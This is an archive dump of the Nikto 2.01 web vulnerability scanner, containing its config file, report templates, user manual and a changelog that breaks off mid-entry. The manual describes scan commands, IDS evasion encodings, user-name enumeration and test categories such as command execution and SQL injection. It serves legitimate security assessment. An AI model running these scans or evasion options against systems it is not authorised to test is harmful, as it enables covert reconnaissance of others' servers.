nikto-2.01/0000775000076400007640000000000010727513545011661 5ustar sullosullonikto-2.01/config.txt0000664000076400007640000000421210722664151013661 0ustar sullosullo######################################################################################################### # CONFIG STUFF ######################################################################################################### # default command line options, can't be an option that requires a value. used for ALL runs. # CLIOPTS=-g -a # location of nmap to use with port scanning (rather than Nikto internals) # and any options to pass to it NMAP=/usr/local/bin/nmap NMAPOPTS=-P0 # ports never to scan SKIPPORTS=21 111 # IDs never to alert on (Note: this only works for IDs loaded from db_tests) SKIPIDS=000703 # if Nikto is having difficulty finding the 'plugins', set the full install path here # EXECDIR=/usr/local/nikto # the default HTTP version to try... can/will be changed as necessary DEFAULTHTTPVER=1.0 # Nikto can submit updated version strings to CIRT.net. It won't do this w/o permission. You should # send updates because it makes the data better for everyone ;) *NO* server specific information # such as IP or name is sent, just the relevant version information. # UPDATES=yes #-- ask before each submission if it should send # UPDATES=no #-- don't ask, don't send # UPDATES=auto #-- automatically attempt submission *without prompting* UPDATES=yes # Warning if MAX_WARN OK or MOVED responses are retrieved MAX_WARN=20 # Prompt... if set to 'no' you'll never be asked for anything. Good for automation. #PROMPTS=no # cirt.net : set the IP so that updates can work without name resolution CIRT=209.172.49.178 ######################################################################################################### # PROXY STUFF ######################################################################################################### #PROXYHOST=127.0.0.1 #PROXYPORT=8080 #PROXYUSER=proxyuserid #PROXYPASS=proxypassword ######################################################################################################### # COOKIE STUFF ######################################################################################################### # send a cookie with all requests, helpful if auth cookie is needed #STATIC-COOKIE=cookiename=cookievalue nikto-2.01/kbase/0000775000076400007640000000000010727513545012746 5ustar sullosullonikto-2.01/templates/0000775000076400007640000000000010727513545013657 5ustar sullosullonikto-2.01/templates/htm_host_head.tmpl0000664000076400007640000000204510715623427017362 0ustar sullosullo
#TEMPL_HOSTNAME / #TEMPL_IP
Target IP #TEMPL_IP
Target hostname #TEMPL_HOSTNAME
Target Port #TEMPL_PORT
HTTP Server #TEMPL_BANNER
Start Time #TEMPL_START
End Time #TEMPL_END
Elapsed #TEMPL_ELAPSED Seconds
Site Link (Name) #TEMPL_LINK_NAME
Site Link (IP) #TEMPL_LINK_IP
Items Tested #TEMPL_ITEMS_TESTED
Items Found #TEMPL_ITEMS_FOUND

nikto-2.01/templates/htm_host_im.tmpl0000664000076400007640000000036710715623427017073 0ustar sullosullo
Information #TEMPL_SMMSG
OSVDB Entries #TEMPL_OSVDB
nikto-2.01/templates/htm_summary.tmpl0000664000076400007640000000070410715623427017121 0ustar sullosullo
Nikto Scan Summary
Software Details Nikto #TEMPL_NIKTO_VER
CLI Options #TEMPL_NIKTO_CLI
Hosts Tested #TEMPL_NIKTO_HOSTS_TESTED


nikto-2.01/templates/htm_end.tmpl0000664000076400007640000000015710715623427016174 0ustar sullosullo

© 2007 CIRT, Inc.
 nikto-2.01/templates/htm_start.tmpl0000664000076400007640000000120310715623427016554 0ustar sullosullo Nikto Report nikto-2.01/templates/htm_host_item.tmpl0000664000076400007640000000111210715623427017411 0ustar sullosullo
URI #TEMPL_URI
HTTP Method #TEMPL_HTTP_METHOD
Description #TEMPL_MSG
Test Links #TEMPL_ITEM_NAME_LINK #TEMPL_ITEM_IP_LINK
OSVDB Entries #TEMPL_OSVDB
nikto-2.01/docs/0000775000076400007640000000000010727513545012611 5ustar sullosullonikto-2.01/docs/nikto_manual.html0000664000076400007640000007372010715352755016172 0ustar sullosullo Nikto v2 / The Manual

Nikto v2 / The Manual

Chapter 1. Introduction

Overview

Nikto is a web server assessment tool. It is designed to find various default and insecure files, configurations and programs on any type of web server.

Description

Nikto is PERL software designed to find many types of web server problems, including:

  • Server and software misconfigurations

  • Default files and programs

  • Insecure files and programs

  • Outdated servers and programs

Nikto is built on LibWhisker (by RFP) and can run any platform which has a PERL environment, and supports SSL, proxies, host authentication, IDS evasion and more. It can be updated automatically from the command-line, and supports the optional submission of updated version data back to the maintainers.

The name "Nikto" is taken from the movie "The Day the Earth Stood Still", and of course subsequent abuse by Bruce Campbell in "Army of Darkness". More information on the pop-culture popularity of Nikto can be found at http://www.blather.net/archives2/issue2no21.html

Advanced Error Detection Logic

Nikto version 2.0 utilizes multiple methods to understand how a server responds to various requests. Nikto will use the fastest and most accurate method of determining if a request is successful. This could include basic HTTP response codes, rely on page content, or even use md5 hashing of content (minus some common date/time strings). When testing starts against a server, tests are performed to determine which type works best for the server and file type location. This eliminates many of the false-positives common in other web scanners, including the 1.xx tree of Nikto.

History

The Nikto 1.00 Beta was released on December 27, 2001, (followed almost immediately by the 1.01 release). Over the course of two years Nikto's code evolved into the most popular freely available web vulnerability scanner.

The 2.0 release in September, 2007 represents over two years of improvements.

Documentation

This document is a trimmed version of a larger work, available at http://cirt.net/ .

Chapter 2. Installation

Requirements

Any system which supports a basic PERL installation should allow Nikto to run. It has been extensively tested on:

  • Windows (using ActiveState Perl)

  • Mac OSX

  • Various Linux and Unix installations (including RedHat, Solaris, Debian and multiple implementations of Knoppix)

Version 2 is also distributed as pre-compiled Windows executable for use on Win32 platforms. This installation does not require a PERL installation.

The only required PERL module that does not come standard is LibWhisker. Nikto comes with and is configured to use a local LW.pm file (in the plugins directory), but users may wish to change Nikto to use a version installed on the system. See Section 2 for further information.

For SSL support the Net::SSLeay PERL module must be installed (which in turn requires OpenSSL on the Unix platform). Windows support for SSL is dependent on the installation package, but is rumored to exist for ActiveState's Perl.

The nmap scanner can be used, if desired. In some cases using nmap will slow down Nikto execution, as it must call an external program. For scanning many ports across one or more servers, using nmap will be faster than using Nikto's internal perl scanning.

Install

These instructions do not include information on installing PERL, PERL Modules, OpenSSL or LibWhisker.

Unpack the Nikto distribution file:

tar -xvf nikto-current.tar.gz

gzip -d nikto-current.tar

Assuming a standard OS/PERL installation, Nikto should now be usable. See Chapter 4 (Options) or Chapter 8 (Troubleshooting) for further configuration information.

Chapter 3. Usage

Basic Testing

The most basic Nikto scan requires simply a host to target, since port 80 is assumed if none is specified. The host can either be an IP or a hostname of a machine, and is specified using the -h (-host) option. This will scan the IP 192.168.0.1 on TCP port 80:

perl nikto.pl -h 192.168.0.1

To check on a different port, specify the port number with the -p (-port) option. This will scan the IP 192.168.0.1 on TCP port 443:

perl nikto.pl -h 192.168.0.1 -p 443

There is no need to specify that port 443 may be SSL, as Nikto will first test regular HTTP and if that fails, HTTPS. If you are sure it is an SSL server, specifying -s (-ssl) will speed up the test.

Multiple Port Testing

Nikto can scan multiple ports in the same scanning session. To test more than one port on the same host, specify the list of ports in the -p (-port) option. Ports can be specified as a range (i.e., 80-90), or as a comma-delimited list, (i.e., 80,88,90). This will scan the host on ports 80, 88 and 443.

perl nikto.pl -h 192.168.0.1 -p 80,88,443

Multiple Host Testing

Nikto support scanning multiple hosts in the same session via a text file of host names or IPs. Instead of giving a host name or IP for the -h (-host) option, a file name can be given. Ports can be separated from the host and other ports via a colon or a comma. If no port is specified, port 80 is assumed.

This is an example of a valid hosts file:

192.168.0.1:80

192.168.0.2,80

192.168.0.3

192.168.0.1,80,443

192.168.0.1:80:443

localhost:8888

Using a Proxy

If the machine running Nikto only has access to the target host (or update server) via an HTTP proxy, the test can still be performed. Set the PROXY* variables (as described in section 4), then execute Nikto with the -u (-useproxy) command. All connections will be relayed through the HTTP proxy specified in the configuration file.

perl nikto.pl -h 192.168.0.1 -p 80 -u

Updating

To update to the latest plugins and databases, simply run Nikto with the -update command.

perl nikto.pl -update

Note

The -update option cannot be abbreviated.

Screen output will show if updates have been downloaded or if none are required. Updates may also be manually downloaded from http://updates.cirt.net/

Chapter 4. All Options

Below are all of the Nikto command line options and explanations. A brief version of this text is available by running Nikto with the -h (-help) option.

-Cgidirs

Scan these CGI directories. Special words "none" or "all" may be used to scan all CGI directories or none, (respectively). A literal value for a CGI directory such as "/cgi-test/" may be specified (must include trailing slash). If this is option is not specified, all CGI directories listed in config.txt will be tested.

-config

Specify an alternative config file to use instead of the config.txt located in the install directory.

-dbcheck

Check the scan databases for syntax errors. Also checks the plugins to ensure they are called properly and have an entry in the plugins_order.txt.

-evasion

Specify the LibWhisker IDS evasion technique to use (see the LibWhisker docs for detailed information on these). Use the reference number to specify the type, multiple may be used:

1 - Random URI encoding (non-UTF8)

2 - Directory self-reference (/./)

3 - Premature URL ending

4 - Prepend long random string

5 - Fake parameter

6 - TAB as request spacer

7 - Change the case of the URL

8 - Use Windows directory separator (\)

-findonly

Only discover the HTTP(S) ports, do not perform security scan. This will attempt to connect with HTTP or HTTPS, and report the Server header.

-Format

Save the output file specified with -o (-output) option in this format. If not specified, default is "txt". Valid formats are:

csv - a comma-seperated list

htm - an HTML report

txt - a text report

-host

Host(s) to target. Can be an IP address, hostname or text file of hosts.

-Help

Display extended help information.

-id

ID and password to use for host Basic host authentication. Format is "id:password".

-mutate

Specify mutation technique. A mutation will cause Nikto to combine tests or attempt to guess values. These techniques may cause a tremendous amount of tests to be launched against the target. Use the reference number to specify the type, multiple may be used:

1 - Test all files with all root directories

2 - Guess for password file names

3 - Enumerate user names via Apache (/~user type requests)

4 - Enumerate user names via cgiwrap (/cgi-bin/cgiwrap/~user type requests)

-nolookup

Do not perform name lookups on IP addresses.

-output

Write output to the file specified. Format is defined in -F (-Format), default is text. Existing files will have new information appended.

-port

TCP port(s) to target. To test more than one port on the same host, specify the list of ports in the -p (-port) option. Ports can be specified as a range (i.e., 80-90), or as a comma-delimited list, (i.e., 80,88,90). If not specified, port 80 is used.

-Pause

Seconds to delay between each test.

- Display

Control the output that Nikto shows. See Chapter 5 for detailed information on these options. Use the reference number or letter to specify the type, multiple may be used:

1 - Show redirects

2 - Show cookies received

3 - Show all 200/OK responses

4 - Show URLs which require authentication

D - Debug Output

V - Verbose Output

-root

Prepend the value specified to the beginning of every request. This is useful to test applications or web servers which have all of their files under a certain directory.

-ssl

Only test SSL on the ports specified. Using this option will dramatically speed up requests to HTTPS ports, since otherwise the HTTP request will have to timeout first.

-Single

Perform a single request to a target server. Nikto will prompt for all options which can be specified, and then report the detailed output. See Chapter 5 for detailed information.

-timeout

Seconds to wait before timing out a request. Default timeout is 2 seconds.

-Tuning

Tuning options will control the test that Nikto will use against a target. By default, if any options are specified, only those tests will be performed. If the "x" option is used, it will reverse the logic and exclude only those tests. Use the reference number or letter to specify the type, multiple may be used:

0 - File Upload

1 - Interesting File / Seen in logs

2 - Misconfiguration / Default File

3 - Information Disclosure

4 - Injection (XSS/Script/HTML)

5 - Remote File Retrieval - Inside Web Root

6 - Denial of Service

7 - Remote File Retrieval - Server Wide

8 - Command Execution / Remote Shell

9 - SQL Injection

a - Authentication Bypass

b - Software Identification

g - Generic (Don't rely on banner)

x - Reverse Tuning Options (i.e., include all except specified)

-useproxy

Use the HTTP proxy defined in the config.txt file.

-update

Update the plugins and databases directly from cirt.net.

-Version

Display the Nikto software, plugin and database versions.

-vhost

Specify the Host header to be sent to the target.

Chapter 5. Detailed Options

Mutation Techniques

A mutation will cause Nikto to combine tests or attempt to guess values. These techniques may cause a tremendous amount of tests to be launched against the target, and are often impractible. Use the reference number to specify the type, multiple may be combined.

1 - Test all files with all root directories.

2 - Guess for password file name.

3 - Enumerate user names via Apache (/~user type requests).

4 - Enumerate user names via cgiwrap (/cgi-bin/cgiwrap/~user type requests).

Display

The Display option

1 - Show redirects. This will display all requests which elicit a "redirect" response from the server.

2 - Show cookies received. This will display all cookies that were sent by the remote host.

3 - Show all 200/OK responses. This will show all responses which elicit an "okay" (200) response from the server. This could be useful for debugging.

4 - Show URLs which require authentication. This will show all responses which elicit an "authorization required" header.

D - Debug Output. Show debug output, which shows the verbose output and extra information such as variable content.

V - Verbose Output. Show verbose output, which typically shows where Nikto is during program execution.

Scan Tuning

Scan tuning can be used to decrease the number of tests performed against a target. By specifying the type of test to include or exclude, faster, focused testing can be completed. This is useful in situations where the presence of certain file types are undesired--such as XSS or simply "interesting" files.

Test types can be controlled at an individual level by specifying their identifier to the -T (-Tuning) option. In the default mode, if -T is invoked only the test type(s) specified will be executed. For example, only the tests for "Remote file retrieval" and "Command execution" can performed against the target:

perl nikto.pl -h 192.168.0.1 -T 58

If an "x" is passed to -T, the include or exclude logic is reversed such that all tests except those specified will be performed. In this example, all tests except "Remote file retrieval" and "Command execution" are performed against the target:

perl nikto.pl -h 192.168.0.1 -T 58x

The valid tuning options are:

0 - File Upload. Exploits which allow a file to be uploaded to the target server.

1 - Interesting File / Seen in logs. An unknown but suspicious file or attack that has been seen in web server logs (note: if you have information regarding any of these attacks, please contact CIRT, Inc.).

2 - Misconfiguration / Default File. Default files or files which have been misconfigured in some manner. This could be documentation, or a resource which should be password protected.

3 - Information Disclosure. A resource which reveals information about the target. This could be a file system path or account name.

4 - Injection (XSS/Script/HTML). Any manner of injection, including cross site scripting (XSS) or content (HTML). This does not include command injection.

5 - Remote File Retrieval - Inside Web Root. Resource allows remote users to retrieve unauthorized files from within the web server's root directory.

6 - Denial of Service. Resource allows a denial of service against the target application, web server or host (note: no intention DoS attacks are attempted).

7 - Remote File Retrieval - Server Wide. Resource allows remote users to retrieve unauthorized files from anywhere on the target.

8 - Command Execution / Remote Shell. Resource allows the user to execute a system command or spawn a remote shell.

9 - SQL Injection. Any type of attack which allows SQL to be executed against a database.

a - Authentication Bypass. Allows client to access a resource it should not be allowed to access.

b - Software Identification. Installed software or program could be positively identified.

c - Remote source inclusion. Software allows remote inclusion of source code.

x - Reverse Tuning Options. Perform exclusion of the specified tuning type instead of inclusion of the specified tuning type.

Single Request Mode

The single option allows manual setting of most variables used by Nikto and LibWhisker, and upon completion will display both the request and the result of the operation.

Most options have a default value or can be left blank. True and false are specified by numeric equivalents, 1 and 0 respectively.

Chapter 6. Output and Reports

Export Formats

Nikto saved output comes in three flavors: text, CSV or HTML. When using -o (output), an output format may be specified with -F (Format). Text format is assumed if nothing is specified with -F.

HTML Customization

HTML reports are generated from template files located in the "templates" directory. Variables are defined as #variable-name, and are replaced when the report is generated.

The files "htm_start.tmpl" and "htm_end.tmpl" are included at the beginning and end of the report (respectively). The "htm_summary.tmpl" also appears at the beginning of the report. The "htm_host_head" appears once for every host, and the "htm_host_item.tmpl" and "htm_host_im.tmpl" appear once for each item found on a host and each "informational message" per host (respectively).

All valid variables are used in these templates. Future versions of this documentation will include a list of variables and their meaning.

The copyright and OSVDB statements must not be removed from the "htm_end.tmpl" without placing them in another of the templates.

Chapter 7. Test & Code Writing

Scan Database Field Values

Though some checks can be found in other plugins, the scan_database.db contains the bulk of the web test information. Here is a description of the field values:

Table 7.1. 

Test IDNikto test ID
OSVDB-IDCorresponding vuln entry number for osvdb.org
Tuning TypeApplicable tuning parameters (see chapter 5)
Server TypeGeneric server matching type
URIURI to retrieve
HTTP MethodHTTP method to use for URI
Match 1String or code to match for successful test
Match1 (And)String or code to also match for successful test
Match 1 (Or)String or code to alternatively match for successful test
Fail 1String or code to match for test failure
Fail 2String or code to match for test failure (alternative)
SummarySummary message to report for successful test
HTTP DataHTTP data to be sent during POST tests
HeadersAdditional headers to send during test


User-Defined Tests

Users can create their own, private tests in the user_scan_database.db file. These tests should be written exactly as they appear in scan_database.db.

For tests which require a "private" OSVDB ID, use the OSVDB ID 0 (zero). This should be used for all testing, as it is not a real vulnerability in the database.

For the "Test ID", it is recommended you use unique numbers above 50000 to allow for growth of the Nikto database without interfering with your own tests.

Scan Database Syntax

The scan database is a CSV delimited file which contains most of the tests. Fields are enclosed by quotes and separated by commas. The field order is:

Test-ID, OSVDB-ID, Tuning Type, Server Type, URI, HTTP Method, Match 1, Match 1 And, Match1 Or, Fail 1, Fail 2, Summary, HTTP Data, Headers

Here is an example test:

"120","3092","2","generic","/manual/","GET","200","","","","","Web server manual","",""

Plugins

Plugins are standard perl which follow a standard Nikto naming format. All plugins must be named in the pattern nikto_name.plugin, where "name" is the name of the plugin. The file must have a subroutine named the same as the file name without the ".plugin" extension. For example, a plugin named nikto_mycode.plugin would need a subroutine called "sub nikto_mycode()", which would be executed when called.

All plugins must also be placed in the nikto_plugin_order.txt file in the proper location for execution, otherwise it will not be called.

Chapter 8. Troubleshooting

SOCKS Proxies

SOCKS proxies are not curently supported by Nikto

Chapter 9. Licenses

Nikto

Nikto is licensed under the GNU General Public License (GPL).

LibWhisker

LibWhisker is licensed under the GNU General Public License (GPL), and copyrighted by Rain Forrest Puppy.

Tests

The web tests are licensed for use with Nikto only, and may not be reused without written consent from CIRT, Inc.

Chapter 10. Credits

Nikto

Nikto is written and maintained by Sullo, CIRT, Inc. All code is © CIRT, Inc., except LibWhisker which is © rfp.labs (wiretrip.net). Other portions of code may be © as specified.

Thanks

Many people have provided feedback, fixes, and suggestions. This list attempts to make note of those people, though not all contributors are listed. In no particular order:

  • Nikto 2 Testing: Paul Woroshow, Mark G. Spencer, Michel Arboi, Jericho, rfp

  • Jericho (attrition.org/OSVDB/OSF). Support/ideas/tests/corrections/spam and help matching OSVDB IDs to tests.

  • rfp (wiretrip.net). LibWhisker and continuing support.

  • Erik Cabetas for many updates and fixes.

  • Jake Kouns (OSVDB/OSF). Support

  • Stephen Valdez. Extensive testing. We all miss you.

  • S Saady. Extensive testing.

  • Zeno (cgisecurity.com). Nikto mirroring.

  • P Eronen (nixu.com). Provided many code fixes.

  • M Arboi. Great support by writing the code to make Nikto work within Nessus, as well as bug reports.

  • T Seyrat. Maintains Nikto for the Debian releases.

  • J DePriest. Ideas/fixes.

  • P Woroshow. Ideas/fixes.

  • fr0stman. Tests.

  • H Heimann. Tests.

  • Xiola (xiola.net). Web design and much more.

This document is © 2007 CIRT, Inc. and may not be reused without permission.

nikto-2.01/docs/CHANGES.txt0000664000076400007640000004773610727513374014443 0ustar sullosullo11.22.2007 Nikto 2.01 release - Fix anti ids encoding use. thanks to Francisco Amato - Fix virtual host usage if set via CLI. thanks Jon Hart - Fix Host header restoration when testing for IIS IP leak - Fix for plugindir & templatedir if EXECDIR is set in config.txt, thanks Shiraishi.M and Will Andrews for pointing it out. - Fix count of items--count now accurately reflects the number of items, not just number of vulns. thanks Frank Breedijk - Kick a few more things to KB that should be saved - Added SKIPIDS to config.txt to completely ignore some tests loaded from db_tests. Suggested by Christian Folini. - Enhanced rm_active_content to try to exclude the file/QUERYSTRING requested - Unset the auth header after guessing at it. Thanks Paul Woroshow for reporting the bug. 11.12.2007 nikto_headers.plugin - Fix internal IP address snarfing for IIS, thanks Frank Breedijk for pointing it out 11.10.2007 Nikto 2.00 release - Rewrite of nikto_httpoptions.plugin to read the Public header - Fixups to prevent namespace violations in nikto.pl and nikto_core.plugin - Add some normalizations to the -root option variable, suggested by Erik Cabetas - Added -Display with options for suppressing redirects & cookies from being included in output - Added -Tuning options to let users specify what they would like to test, or exclude certain categories - Added config.txt's NMAPOPTS, thanks Sean Lewis for the suggestion - All new HTML report - Bugfix: a found cookie would report for every port/server after it was found - Bugfix: all hosts scanned with all ports if hosts file used - Bugfix: all hosts scanned with port 80 despite what the user wanted - Bugfix: Reverse DNS inet_aton error fix, pointed out by Jason Peel @ Foundstone - Changed auth checking so it will test any directory found, not just /, and removed nikto_realms.plugin as a consequence - Changed scan_database.db format significantly (and name), (and all the code to deal with tests) - Completely new 404 engine which causes less false-positives (see docs) - Created dump_lw_hash instead of dump_request_hash & dump_result_hash - Implemented a knowledge base which (should) store all the gory details of scans... probably use this later ;) - Moved pre-defined variables from config.txt to variables.db so they can be automagically updated. Entries in config.txt are still read. - Removed %CFG, storing vars in %NIKTO instead - Removed -generic - Removed extraneous global vars - Removed load_realms, combined with load_variables - Replaced %CONFIG with %NIKTOCONFIG - Set MAX_WARN to trigger on any response code, skipping 404|403|401|400 to avoid common ones - Added -Single single request mode - Updates to use the RFP's LibWhisker 2.0 - Added -Help to show extended help ouput, changed default help screen to be shorter. Suggested by Jericho. - Additional error checking on invalid reverse-dns (Paul Woroshow) - Cleaned up comment/line parsing routines in multiple places, from Erik Cabetas - Tightened some for loops with real values instead of guessing, from Erik Cabetas - Addded error message if no host is specified, from Erik Cabetas - Added more robust output file type checking (txt/htm/cvs), from Erik Cabetas - Added more debug statements regarding which CGI directories will be scanned, from Erik Cabatas - Bugfix: more 'half dead host' scanning issues resolved with Jericho. LW is much pickier now about calling http_close - Added error if -F specified without -o, from Erik Cabetas - Bugfix: server category match no longer matches partial strings, from Erik Cabetas - Bugfix: mis-pasted line, pointed to by Erik Cabetas - Send all errors to STDERR - Added -config option to specify a config file, thanks to Pavel Kankovsky - fixed regex issue on banner. thanks Alexander Ehlert for pointing it out - All other plugins updated for v2 changes - Added favicon.ico hash checking - ... gobs more 02.06.2004 nikto_core.plugin 1.21 - Cleaned up comment/line parsing routines in multiple places, from Erik Cabetas - Tightened some for loops with real values instead of guessing, from from Erik Cabetas - Removed duplicate bit of code, from Erik Cabetas - Addded error message if no host is specified, from Erik Cabetas - Added more robust output file type checking (txt/htm/cvs), from Erik Cabetas - Added more debug statements regarding which CGI directories will be scanned, from Erik Cabatas 12.17.2003 nikto_core.plugin 1.20 - Fixed BID links, thanks Richard Tortorella for the report. 10.27.2003 Nikto 1.32 release nikto_core.plugin 1.19 - Removed unecessary 'use IO::Socket' call from resolve() - Removed unecessary counters - Replaced some slow foreach counters - Moved proxy_check earlier, before port_scan, so it will be set first - Removed -allcgi option in favor of -CGIdir, which can specify to test 'all', 'none' or a specific directory. - Bugfix: testing through proxy by making sure host name is set instead of ip, thanks to Fabrice Annic for the catch - Bugfix: a regex/logic/if error in test_target, thanks Pavel Kankovsky for the bug report. 401/302 messages will now report regardless of test/pass fail. - Bugfix: -dbcheck now identifies duplicates without relying on message text, thanks Jericho / Attrition.org for pointing this out nikto.pl 1.12 - Rearranged order of get_banner & setup so that it would be called right nikto_headers.plugin 1.08 - Added DAAP header check 10.02.2003 nikto_core.plugin 1.18 - Fixed get_banner to properly handle multi host/port scans 10.01.2003 nikto_outdated.plugin 1.12 - Fixed improper matching in version evals, reported by Paul Bakker 09.30.2003 nikto_core.plugin 1.17 - Reordered loop code to make -f scans faster. - Added a skip for "(Win32)" in the version updates back to cirt.net nikto_outdated.plugin 1.11 - Stripping () from version strings 09.24.2003 Nikto 1.31 release nikto_core.plugin 1.16 - Fixed a bug in resolve() that may prevent name lookups when host files used - Fixed a bug in resolve() where scan would exit if 1 name resolution from host file failed - Changed set_targets so that if the -h value exists as a file it reads that instead of resolving it as a name. This eliminates need for .csv or .txt file name endings. - Added auto or semi-auto update of version strings to CIRT.net. This is done through a simple GET request. Controlled via config.txt's UPDATES variable. *ABSOLUTELY NO* server info is sent... only versions from HTTP headers, i.e. "Apache/4.0". Thanks to Jericho for feedback/ideas. - Added a host counter output at end & for every 10 hosts - Set CHANGES.txt download only on *code* updates, not DBs - Added MAX_WARN to config.txt for warning level on OK/Moved messages, thanks Jericho for the suggestion. - Added PROMPTS to config.txt to allow user control of prompting--good for unattended scans - Added a regex test to dbcheck() better catch errors in server_msgs.db - Thanks again to Jericho for many updated tests/information. - Cleaned up port scan code - Fixed/improved scanning through proxies nikto_outdated.plugin 1.09 - Added support for sending updates of version strings to CIRT.net. See nikto_core.plugin version 1.15 notes. LW.pm - 1.8 - Updated to LW.pm v1.8, see the change log included with it (www.wiretrip.net/rfp/). nikto.pl - 1.10 - Implemented versioning on nikto.pl (!), many changes to support core 1.15 - Put 'require LW.pm' down *after* we know where it is.. duh. Thanks J Barber (ussysadmin.com) for the suggestion. Also changed it 'require' vs 'use' so in the future I can update it, if necessary. - Hosts are now tested in the same order as the appear in an input file 08.18.2003 nikto_outdated.plugin 1.08 - Fixed nasty regex bug in the version eval, and made more efficient. Pointed out by fr0stman, thx Zeno for assistance 07.22.2003 nikto_headers.plugin 1.07 - Added Host header back after delete in IIS Content-Location check. Thanks to Abdi Ponce for the bug report & debug. nikto_httpoptions.plugin 1.04 - Changed PROPPATCH, TRACK, TRACE messages. Changed PROPFIND message, thanks to Jericho for tracking down some good info on it. Added SEARCH message. nikto_core.plugin 1.14 - Added tags to the HTML output for browser-neatness - Removed a stray debug print 07.03.2003 - Thanks to Jeremy Bae for many Jeus Webserver tests. 06.29.2003 nikto_core.plugin 1.13 - changed some &function calls to function() to keep $_ from being passed down another level.. thanks to zeno for the heads-up. nikto_headers.plugin 1.05 - fixed the IIS4 content-location check as it had a tendency to fail miserably... 06.29.2003 nikto_core.plugin 1.12 - changed output of dump_request to be more like normal request text 06.29.2003 nikto_core.plugin 1.11 - bug fix for scanning through proxies 06.19.2003 nikto_core.plugin 1.10 - added 'csv' to file formats in -help output (doh!) - minor speedups 06.17.2003 nikto_user_enum_apache.plugin 1.02 - Bugfix: some user names not tested (zz, zzz, etc.) - Major rewrite for speed improvements nikto_user_enum_cgiwrap.plugin 1.01 - Bugfix: some user names not tested (zz, zzz, etc.) - Major rewrite for speed improvements 06.16.2003 nikto_core.plugin 1.09 - dbcheck option enhanced: check that all plugins are in the order file - dbcheck option enhanced: check that all plugins have properly named sub calls - update option enhanced: retrieves updated CHANGES.txt file with code updates - Bugfix: resolve() did not properly catch invalid IP addresses. Reported by Rick Tortorella. 06.12.2003 nikto_core.plugin 1.08 - Removed iprint() entirely (finally) - Made "Needs Auth" links active in HTML output 05.30.2003 nikto_core.plugin 1.07 - Bugfix: 05.30.2003 nikto_core.plugin 1.06 - Added number of elapsed seconds to final host/port output - Bugfix: Changed CAN/CVE link to point to cve.mitre.org instead of ICAT - Bugfix: Duplicate port 80 in nmap options if -p not specified but 80 specified in hosts file 05.28.2003 nikto_core.plugin 1.05 - Bugfix: -update code prevented automatic updates. Found & fixed by Keith Young. Also reported by Paul Worshaw. 05.27.2003 Nikto 1.30 release General changes - removed nikto_google.plugin entirely (may add better plugin later) - major "under the hood" changes to make things easier to maintain, read & modify - killed as many global vars as I could stand in favor of a few global hashes (CLI input, etc.) - added $CURRENT_HOST_ID and $CURRENT_PORT as globals--these are the pointers to "where you are" (mostly as in $TARGETS) - added the ability to have basic conditional items for tests, i.e. "200!index" to designate a response of "200" but the content does not contain "index" (suggested by Paul Woroshow). - added -V option, which displays versions of all code files & databases (suggested by Jericho) - specifying -ssl now forces *all ports* on *all servers* to use ssl. best that can be done for now. - added multi-host support via a text file with port specification in the file or via CLI - all new save file routines - unbuffered file output to keep partial/cancelled run data - removed the -w option in favor of -F with multiple formats - added support for NTLM authentication - added cgiwrap plugin nikto_core.plugin 1.05 - Many updates to support multiple host scans - Added UA for update agents - Changed all %SERVER hash refs to either %CLI or %TARGETS - Removed %BANNERS (now in %TARGETS) - Added set_targets() to handle various target input methods - Bugfix: non-SSL ports not found after first SSL port found on a host - Bugfix: authentication realms were not checked with the proper root if -r was specified on the CLI - Bugfix: can't call 'fprint' if core plugin is not found (duh!). Found by Erwin Paternotte. nikto_user_enum_cgiwrap.plugin 1.00 - added nikto_mutate.plugin 1.05 - change for using %CLI nikto_passfiles.plugin 1.01 - change for using %CLI nikto_user_enum_apache.plugin 1.01 - change for using %CLI - renamed from 'nikto_userenum.plugin' nikto_msgs.plugin 1.03 - minor changes for multi-host support plugins_order.txt 1.03 - removed nikto_google.plugin 02.23.2003 nikto_core.plugin 1.04 - Added a work around for servers that answer with blank www-authenticate headers with invalid id/pass combos nikto_realms.plugin 1.00 - Added to distro realms.db 1.00 - Added to distro plugins_order.txt 1.02 - Added nikto_realms.plugin 01.22.2003 nikto_httpoptions.plugin 1.03 - standardized wording, added TRACE option, added more description to WebDAV msgs (thanks Jericho at attrition.org). 01.22.2003 nikto_core.plugin 1.03 - fixed a bug with matching proper server categories, thanks to Paul Woroshow. 01.17.2003 nikto_core.plugin 1.02 - fixed the GetOptions only looking for "-gener" instead of "-generic", thanks to Michel Arboi 01.02.2003 nikto_core.plugin 1.01 - fixed proxy authentication not prompting for -update option 01.01.2003 Nikto 1.23 - added nikto_plugin_order.txt to force plugin order to something we want rather than alpha - added nikto_core.plugin & removed most functions from nikto.pl - added -cookies option - enhanced db syntax error checking (spurred by syntax problems Thomas Reinke found) - started using the LW 1.6 libraries - fixed infinite loop output problem (no longer wrapping long lines) - removed usage from saved output (too long) - remove nikto_frontpage.plugin and put checks in scan_database.db - moved server categories from scan_database.db to servers.db - got rid of the leading "c," requirement from scan_database.db - added STATIC-COOKIE config item as suggested by Eyal Udassin - made CLI options case sensitive (to support more options, hosts files, etc) - added Javier Fernandez-Sanguino Pen~a's Apache user enumeration plugin - added -r (-root) file prepend as suggested by Eyal Udassin - many DB typo fixes from Jay Swofford - fixed a regex bug in nikto_robots.plugin and nikto_apacheusers.plugin - new update location (path) to better support upgrades that don't effect db syntax 08.21.2002 Nikto 1.21 - Fixed all the proxy code--none of it was working due to where it was set in the initialization. - Added -update to the help output. Not sure why it wasn't there. 08.12.2002 Nikto 1.20 - Re-packaged to take out a testing line from LW.pm. Thanks to D Rhoades for the catch 08.11.2002 Nikto 1.20 - Moved all mutate options to plugins - Added password file mutate plugin - Added better error messages if problems arise - Test for false-positives on all CGI directories - Added -useproxy CLI - Printing SSL certs the server accepts - Fixed port sorting if -f is used - Forked 1.20DCX edition for DefCon 10 CD: difference is only output - Fixed a bug where "findonly" was referenced as "findports" (thanks J DePriest) - Added properly wrapped text output in saved files 05.25.2002 Nikto 1.100 - stopped nikto from dying if no config.txt file found - added Apache user enumeration plugin - added robots.txt plugin - set false-positive message to display at end of run as well as during - 04.23.2002 Nikto 1.10BETA_3 - fixed CAN/CVE links, added BID/CA/MS links (suggested by Jericho). - prints total number of 'issues' found (suggested by Jericho). - fixed proxy usage in the cirt.net update function. - updated to use LW 1.4, which fixes an SSL infinite loop problem. - fixed 401 auth suppression (broken in beta 2). - added robots plugin to examine robots.txt & add items found to the mutate check - 03.31.2002 Nikto 1.10BETA_2 - fixed the config.txt DEFAULTHTTPVER variable setting so it really works - made proxy_check run only once per session - removed all reference to "nikto" in the scan_database.db - 03.23.2002 Nikto 1.10BETA_1 - renamed plugins from .pl to 